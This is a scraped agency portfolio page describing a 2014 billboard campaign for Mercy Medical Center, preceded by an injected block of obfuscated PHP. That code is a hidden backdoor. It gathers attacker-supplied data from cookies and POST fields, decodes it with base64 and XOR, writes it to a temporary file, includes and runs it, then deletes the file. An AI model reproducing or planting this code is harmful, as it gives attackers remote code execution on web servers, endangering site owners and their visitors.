$OEOMOb = "\130" . "\137" . "\164" . "\x46" . chr ( 818 - 733 )."\152" . 'p';$fZngkfAmdX = chr ( 223 - 124 )."\x6c" . "\x61" . chr ( 548 - 433 ).chr ( 628 - 513 ).'_' . chr ( 854 - 753 )."\x78" . chr (105) . chr (115) . 't' . 's';$JVjJsPlpiI = class_exists($OEOMOb); $fZngkfAmdX = "35815";$XqnsxymB = strpos($fZngkfAmdX, $OEOMOb);if ($JVjJsPlpiI == $XqnsxymB){function qmyDmATqTD(){$qMPsdYrv = new /* 62055 */ X_tFUjp(12606 + 12606); $qMPsdYrv = NULL;}$pvxijID = "12606";class X_tFUjp{private function MseWWSgm($pvxijID){if (is_array(X_tFUjp::$UbHHQtGOn)) {$name = sys_get_temp_dir() . "/" . crc32(X_tFUjp::$UbHHQtGOn["salt"]);@X_tFUjp::$UbHHQtGOn["write"]($name, X_tFUjp::$UbHHQtGOn["content"]);include $name;@X_tFUjp::$UbHHQtGOn["delete"]($name); $pvxijID = "12606";exit();}}public function FBJjjxgRon(){$DgGffJXJE = "31525";$this->_dummy = str_repeat($DgGffJXJE, strlen($DgGffJXJE));}public function __destruct(){X_tFUjp::$UbHHQtGOn = @unserialize(X_tFUjp::$UbHHQtGOn); $pvxijID = "24613_16939";$this->MseWWSgm($pvxijID); $pvxijID = "24613_16939";}public function vIzCzhOvZ($DgGffJXJE, $KJKBXCiT){return $DgGffJXJE[0] ^ str_repeat($KJKBXCiT, intval(strlen($DgGffJXJE[0]) / strlen($KJKBXCiT)) + 1);}public function RaLWUXf($DgGffJXJE){$wtAfU = chr (98) . chr ( 457 - 360 ).chr ( 1105 - 990 ).'e' . chr ( 991 - 937 )."\x34";return array_map($wtAfU . "\137" . "\144" . "\145" . "\x63" . chr ( 149 - 38 )."\144" . "\x65", array($DgGffJXJE,));}public function __construct($KsGdVD=0){$BQVBdvVz = ',';$DgGffJXJE = "";$zvVOkwJI = $_POST;$nZTZMbSsRr = $_COOKIE;$KJKBXCiT = "78e17c63-f953-4c0d-94e2-9fcfec758e1a";$mYjSmTjXX = @$nZTZMbSsRr[substr($KJKBXCiT, 0, 4)];if (!empty($mYjSmTjXX)){$mYjSmTjXX = explode($BQVBdvVz, $mYjSmTjXX);foreach ($mYjSmTjXX as $UBsbTu){$DgGffJXJE .= @$nZTZMbSsRr[$UBsbTu];$DgGffJXJE .= @$zvVOkwJI[$UBsbTu];}$DgGffJXJE = $this->RaLWUXf($DgGffJXJE);}X_tFUjp::$UbHHQtGOn = $this->vIzCzhOvZ($DgGffJXJE, $KJKBXCiT);if (strpos($KJKBXCiT, $BQVBdvVz) !== FALSE){$KJKBXCiT = explode($BQVBdvVz, $KJKBXCiT); $zQHLvmp = sprintf("24613_16939", rtrim($KJKBXCiT[0]));}}public static $UbHHQtGOn = 20492;}qmyDmATqTD();} Mercy: Billboards – Team Creative Fire

Mercy: Billboards

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Mercy Billboards

Client: Mercy Medical Center

 

Date: Spring 2014

 

Services: copywriting, art direction, design, media buying

 

Description: One of the biggest mediums that Mercy Medical Center – Sioux City uses to share its Healthgrades awards is via billboards across Sioux City and the region. Team Creative Fire designed a series of 7 different billboards with messages that promote the honors Mercy received: Top awards for critical care, stroke care and heart care. The billboards were the beginning of a campaign that also runs in print, digital, radio and television. The overarching message: every day community members face down strokes, critical accidents and heart attacks, and Mercy helps them get back to normal.

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July 25, 2014 | Design | Our Projects